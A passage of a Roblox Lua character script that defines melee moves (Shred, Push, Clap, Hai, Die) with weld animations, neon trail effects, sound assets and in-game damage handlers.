  2168. if TrailDeb == true then
  2169.                         TrailDeb = false
  2170. end
  2171. end
  2172.  
  2173. function Shred()
  2174.     attack=true
  2175.     mana=mana-100
  2176. if TrailDeb == false then
  2177.                             TrailDeb = true
  2178.                         end
  2179.                        
  2180.  
  2181. coroutine.wrap(function()
  2182. local Old = Handle2.CFrame.p
  2183. while wait()do
  2184. if not TrailDeb then break end
  2185. local New = Handle2.CFrame.p
  2186. local Mag =(Old -New).magnitude
  2187. local Dis =(Old +New)/2
  2188. local Trail = Instance.new("Part",Character)
  2189. Trail.Material = "Neon"
  2190. Trail.Anchored = true
  2191. Trail.CanCollide = false
  2192. Trail.BrickColor = TorsoColor
  2193. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2194. Trail.TopSurface = 0
  2195. Trail.BottomSurface = 0
  2196. Trail.formFactor = "Custom"
  2197. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2198. local ms = Instance.new("BlockMesh",Trail)
  2199. ms.Scale = Vector3.new(1,1,1)
  2200. local TM = Instance.new("CylinderMesh",Trail)
  2201. TM.Scale = Vector3.new(1,1,1)
  2202. Old = New
  2203. coroutine.wrap(function()
  2204. for i = 1,0,-0.1 do
  2205. wait()
  2206. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2207. end
  2208. Trail:remove()
  2209. end)()
  2210. coroutine.wrap(function()
  2211. for i = 1,10 do
  2212. wait()
  2213. Trail.Transparency = Trail.Transparency +0.1
  2214. end end)()end end)()
  2215. coroutine.wrap(function()
  2216. local Old = Handle.CFrame.p
  2217. while wait()do
  2218. if not TrailDeb then break end
  2219. local New = Handle.CFrame.p
  2220. local Mag =(Old -New).magnitude
  2221. local Dis =(Old +New)/2
  2222. local Trail = Instance.new("Part",Character)
  2223. Trail.Material = "Neon"
  2224. Trail.Anchored = true
  2225. Trail.CanCollide = false
  2226. Trail.BrickColor = TorsoColor
  2227. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2228. Trail.TopSurface = 0
  2229. Trail.BottomSurface = 0
  2230. Trail.formFactor = "Custom"
  2231. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2232. local ms = Instance.new("BlockMesh",Trail)
  2233. ms.Scale = Vector3.new(1,1,1)
  2234. local TM = Instance.new("CylinderMesh",Trail)
  2235. TM.Scale = Vector3.new(1,1,1)
  2236. Old = New
  2237. coroutine.wrap(function()
  2238. for i = 1,0,-0.1 do
  2239. wait()
  2240. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2241. end
  2242. Trail:remove()
  2243. end)()
  2244. coroutine.wrap(function()
  2245. for i = 1,10 do
  2246. wait()
  2247. Trail.Transparency = Trail.Transparency +0.1
  2248. end end)()end end)()
  2249.     Footsteps:Stop()
  2250.     Footsteps2:Stop()
  2251.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  2252.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,30,40,math.random(20,40),"Normal",RootPart,.2,1) end)
  2253.     so("http://www.roblox.com/asset/?id=159882578",Torso,1,1)
  2254.     for i=0,1,0.1 do
  2255.         swait()
  2256.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2257.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2258.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2259.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)  
  2260.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2261.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2262.     end
  2263. if anim then
  2264. anim.Disabled=true
  2265. end
  2266.     for i=0,1,0.05 do
  2267.         swait()
  2268.         Torso.Velocity=RootPart.CFrame.lookVector*20
  2269.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  2270.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  2271.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(0+40*i)),.5)
  2272.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2273.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2274.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2275.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2276.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2277.     end
  2278.     for i=0,1,0.05 do
  2279.         swait()
  2280.         Torso.Velocity=RootPart.CFrame.lookVector*40
  2281.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  2282.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  2283.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(41+80*i)),.5)
  2284.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2285.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2286.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2287.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2288.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2289.     end
  2290.     for i=0,1,0.05 do
  2291.         swait()
  2292.         Torso.Velocity=RootPart.CFrame.lookVector*60
  2293.         so("http://www.roblox.com/asset/?id=231917758",LeftArm,0.2,1.2)
  2294.         so("http://www.roblox.com/asset/?id=231917758",RightArm,0.2,1)
  2295.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(82+120*i)),.5)
  2296.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2297.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2298.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2299.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2300.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2301.     end
  2302.     so("http://www.roblox.com/asset/?id=159882625",Torso,1,1)
  2303.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  2304.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  2305.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  2306.     so("http://www.roblox.com/asset/?id=231917758",Torso,1,0.1)
  2307.     for i=0,1,0.05 do
  2308.         swait()
  2309.         Torso.Velocity=RootPart.CFrame.lookVector*80
  2310.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(124+160*i)),.5)
  2311.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2312.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2313.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2314.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2315.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2316.     end
  2317.     for i=0,1,0.005 do
  2318.         swait()
  2319.         Torso.Velocity=RootPart.CFrame.lookVector*100
  2320.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,3)*angles(math.rad(0),math.rad(0),math.rad(168+4200*i)),.5)
  2321.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2322.         Handleweld.C0=clerp(Handleweld.C0,cf(5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)  
  2323.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,0,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2)
  2324.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(90)),.3)
  2325.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-90)),.3)
  2326.     end
  2327.     --dmgstop()
  2328. Humanoid.WalkSpeed=12
  2329.     attack=false
  2330.     con1:disconnect()
  2331.     con2:disconnect()
  2332. if anim then
  2333. anim.Disabled=false
  2334. end
  2335. if TrailDeb == true then
  2336.                         TrailDeb = false
  2337. end
  2338. end
  2339.  
  2340. function Push()
  2341.     attack=true
  2342.     mana=mana-20
  2343. if TrailDeb == false then
  2344.                             TrailDeb = true
  2345.                         end
  2346.                        
  2347.  
  2348. coroutine.wrap(function()
  2349. local Old = Handle2.CFrame.p
  2350. while wait()do
  2351. if not TrailDeb then break end
  2352. local New = Handle2.CFrame.p
  2353. local Mag =(Old -New).magnitude
  2354. local Dis =(Old +New)/2
  2355. local Trail = Instance.new("Part",Character)
  2356. Trail.Material = "Neon"
  2357. Trail.Anchored = true
  2358. Trail.CanCollide = false
  2359. Trail.BrickColor = TorsoColor
  2360. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2361. Trail.TopSurface = 0
  2362. Trail.BottomSurface = 0
  2363. Trail.formFactor = "Custom"
  2364. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2365. local ms = Instance.new("BlockMesh",Trail)
  2366. ms.Scale = Vector3.new(1,1,1)
  2367. local TM = Instance.new("CylinderMesh",Trail)
  2368. TM.Scale = Vector3.new(1,1,1)
  2369. Old = New
  2370. coroutine.wrap(function()
  2371. for i = 1,0,-0.1 do
  2372. wait()
  2373. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2374. end
  2375. Trail:remove()
  2376. end)()
  2377. coroutine.wrap(function()
  2378. for i = 1,10 do
  2379. wait()
  2380. Trail.Transparency = Trail.Transparency +0.1
  2381. end end)()end end)()
  2382. coroutine.wrap(function()
  2383. local Old = Handle.CFrame.p
  2384. while wait()do
  2385. if not TrailDeb then break end
  2386. local New = Handle.CFrame.p
  2387. local Mag =(Old -New).magnitude
  2388. local Dis =(Old +New)/2
  2389. local Trail = Instance.new("Part",Character)
  2390. Trail.Material = "Neon"
  2391. Trail.Anchored = true
  2392. Trail.CanCollide = false
  2393. Trail.BrickColor = TorsoColor
  2394. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2395. Trail.TopSurface = 0
  2396. Trail.BottomSurface = 0
  2397. Trail.formFactor = "Custom"
  2398. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2399. local ms = Instance.new("BlockMesh",Trail)
  2400. ms.Scale = Vector3.new(1,1,1)
  2401. local TM = Instance.new("CylinderMesh",Trail)
  2402. TM.Scale = Vector3.new(1,1,1)
  2403. Old = New
  2404. coroutine.wrap(function()
  2405. for i = 1,0,-0.1 do
  2406. wait()
  2407. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2408. end
  2409. Trail:remove()
  2410. end)()
  2411. coroutine.wrap(function()
  2412. for i = 1,10 do
  2413. wait()
  2414. Trail.Transparency = Trail.Transparency +0.1
  2415. end end)()end end)()
  2416.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  2417.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end)
  2418.     for i=0,1,0.1 do
  2419.         swait()
  2420.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2421.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2422.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2423.         Handleweld.C0=clerp(Handleweld.C0,cf(-5,0,-10)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
  2424.         Handle2weld.C0=clerp(Handle2weld.C0,cf(5,0,-10)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
  2425.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  2426.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  2427.     end
  2428.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  2429.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  2430.     so("http://www.roblox.com/asset/?id=159882481",Torso,1,1)
  2431.     for i=0,1,0.1 do
  2432.         swait()
  2433.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2434.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2435.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2436.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,0,-20)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)  
  2437.         Handle2weld.C0=clerp(Handle2weld.C0,cf(4,0,-20)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)  
  2438.         RW.C0=clerp(RW.C0,cf(1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(-20)),.3)
  2439.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*angles(math.rad(90),math.rad(0),math.rad(20)),.3)
  2440.     end
  2441.     --dmgstop()
  2442.     attack=false
  2443.     con1:disconnect()
  2444.     con2:disconnect()
  2445. if TrailDeb == true then
  2446.                         TrailDeb = false
  2447. end
  2448. end
  2449.  
  2450. function Clap()
  2451.     attack=true
  2452.     mana=mana-20
  2453. if TrailDeb == false then
  2454.                             TrailDeb = true
  2455.                         end
  2456.                        
  2457.  
  2458. coroutine.wrap(function()
  2459. local Old = Handle2.CFrame.p
  2460. while wait()do
  2461. if not TrailDeb then break end
  2462. local New = Handle2.CFrame.p
  2463. local Mag =(Old -New).magnitude
  2464. local Dis =(Old +New)/2
  2465. local Trail = Instance.new("Part",Character)
  2466. Trail.Material = "Neon"
  2467. Trail.Anchored = true
  2468. Trail.CanCollide = false
  2469. Trail.BrickColor = TorsoColor
  2470. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2471. Trail.TopSurface = 0
  2472. Trail.BottomSurface = 0
  2473. Trail.formFactor = "Custom"
  2474. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2475. local ms = Instance.new("BlockMesh",Trail)
  2476. ms.Scale = Vector3.new(1,1,1)
  2477. local TM = Instance.new("CylinderMesh",Trail)
  2478. TM.Scale = Vector3.new(1,1,1)
  2479. Old = New
  2480. coroutine.wrap(function()
  2481. for i = 1,0,-0.1 do
  2482. wait()
  2483. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2484. end
  2485. Trail:remove()
  2486. end)()
  2487. coroutine.wrap(function()
  2488. for i = 1,10 do
  2489. wait()
  2490. Trail.Transparency = Trail.Transparency +0.1
  2491. end end)()end end)()
  2492. coroutine.wrap(function()
  2493. local Old = Handle.CFrame.p
  2494. while wait()do
  2495. if not TrailDeb then break end
  2496. local New = Handle.CFrame.p
  2497. local Mag =(Old -New).magnitude
  2498. local Dis =(Old +New)/2
  2499. local Trail = Instance.new("Part",Character)
  2500. Trail.Material = "Neon"
  2501. Trail.Anchored = true
  2502. Trail.CanCollide = false
  2503. Trail.BrickColor = TorsoColor
  2504. Trail.Size = Vector3.new(0.2,Mag,0.2)
  2505. Trail.TopSurface = 0
  2506. Trail.BottomSurface = 0
  2507. Trail.formFactor = "Custom"
  2508. Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
  2509. local ms = Instance.new("BlockMesh",Trail)
  2510. ms.Scale = Vector3.new(1,1,1)
  2511. local TM = Instance.new("CylinderMesh",Trail)
  2512. TM.Scale = Vector3.new(1,1,1)
  2513. Old = New
  2514. coroutine.wrap(function()
  2515. for i = 1,0,-0.1 do
  2516. wait()
  2517. TM.Scale = TM.Scale * Vector3.new(i,1,i)
  2518. end
  2519. Trail:remove()
  2520. end)()
  2521. coroutine.wrap(function()
  2522. for i = 1,10 do
  2523. wait()
  2524. Trail.Transparency = Trail.Transparency +0.1
  2525. end end)()end end)()
  2526.     con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  2527.     con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end)
  2528.     so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9)
  2529.     for i=0,1,0.08 do
  2530.         swait()
  2531.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2532.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2533.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2534.         Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
  2535.         Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
  2536.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
  2537.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
  2538.     end
  2539.     so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8)
  2540.     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  2541.     for i=0,1,0.08 do
  2542.         swait()
  2543.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2544.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2545.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2546.         Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
  2547.         Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
  2548.         LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
  2549.         RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
  2550.     end
  2551.     --dmgstop()
  2552.     attack=false
  2553.     con1:disconnect()
  2554.     con2:disconnect()
  2555. if TrailDeb == true then
  2556.                         TrailDeb = false
  2557. end
  2558. end
  2559.  
  2560. function Hai()
  2561.     attack=true
  2562.     Humanoid.WalkSpeed=0
  2563.     so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
  2564.     for i=0,1,0.1 do
  2565.         swait()
  2566.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2567.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2568.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2569.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  2570.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  2571.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2572.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2573.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  2574.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  2575.     end
  2576.      so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  2577. for i=0,1,0.1 do
  2578.         swait()
  2579.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2580.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2581.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2582.         Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  2583.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2584.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2585.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2586.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
  2587.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  2588.     end
  2589.      so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  2590. for i=0,1,0.1 do
  2591.         swait()
  2592.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2593.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2594.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2595.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  2596.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  2597.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2598.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2599.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  2600.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  2601.        
  2602.     end
  2603. so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
  2604. for i=0,1,0.1 do
  2605.         swait()
  2606.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2607.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2608.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2609.         Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
  2610.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2611.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2612.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2613.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
  2614.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  2615.     end
  2616. so("http://www.roblox.com/asset/?id=231917758",Handle,1,1)
  2617. for i=0,1,0.1 do
  2618.         swait()
  2619.         RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
  2620.         Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
  2621.         handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  2622.         Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
  2623.         Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
  2624.         RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2625.         LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
  2626.         RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
  2627.         LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
  2628.     end
  2629.     --dmgstop()
  2630.     Humanoid.WalkSpeed=12
  2631.     attack=false
  2632. end
  2633.  
  2634. function Die()
  2635.     attack=true
  2636. Footsteps:Stop()
  2637. Footsteps2:Stop()
  2638. local Fire = it("Sound",Character.Torso)
  2639. Fire.SoundId = "rbxassetid://192104941"
  2640. Fire.Looped = true
  2641. Fire.Pitch = 1
  2642. Fire.Volume = 1
  2643. local Fire2 = it("Sound",Handle2)
  2644. Fire2.SoundId = "rbxassetid://192104941"
  2645. Fire2.Looped = true
  2646. Fire2.Pitch = 1
  2647. Fire2.Volume = 1
  2648. local Fire3 = it("Sound",Handle)
  2649. Fire3.SoundId = "rbxassetid://192104941"
  2650. Fire3.Looped = true
  2651. Fire3.Pitch = 1
  2652. Fire3.Volume = 1
  2653. local Fire4 = it("Sound",handle)
  2654. Fire4.SoundId = "rbxassetid://192104941"
  2655. Fire4.Looped = true
  2656. Fire4.Pitch = 1
  2657. Fire4.Volume = 1
  2658. local fire = Instance.new("ParticleEmitter", Character.Torso)
  2659. fire.Lifetime = NumberRange.new(0.5)
  2660. fire.Speed = NumberRange.new(1, 3)
  2661. fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
  2662. fire.Rate = 0
  2663. fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  2664. fire.LightEmission = 0.6
  2665. fire.Texture = "http://www.roblox.com/asset/?id=242911609"
  2666. fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
  2667. local fire2 = Instance.new("ParticleEmitter", Handle)
  2668. fire2.Lifetime = NumberRange.new(0.5)
  2669. fire2.Speed = NumberRange.new(1, 3)
  2670. fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
  2671. fire2.Rate = 0
  2672. fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
  2673. fire2.LightEmission = 0.6
  2674. fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
  2675. fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
